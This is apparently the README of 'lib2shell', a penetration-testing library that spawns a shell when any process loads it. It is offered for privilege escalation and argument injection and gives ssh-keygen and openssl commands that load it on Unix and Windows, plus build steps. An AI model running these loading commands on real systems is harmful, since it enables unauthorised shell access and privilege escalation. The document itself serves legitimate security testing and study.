Shared library implementations that transform the containing process into a shell on load (useful for privilege escalation, argument injection, file overwrites, etc.). A write-up of a privilege escalation scenario using this technique can be found on my blog.

(Many examples on GTFOBins)

Examples for Unix operating systems:

ssh-keygen -D ./lib2shell.so 

openssl req -engine ./lib2shell.so 

Examples on Windows:

ssh-keygen -D .\lib2shell.dll 

openssl req -engine .\lib2shell.dll 

Unix:

make 

Windows:

Open the project in Visual studio, select your build configuration ("Release" and your target architecture), then in the top menu click Build→Build Solution.
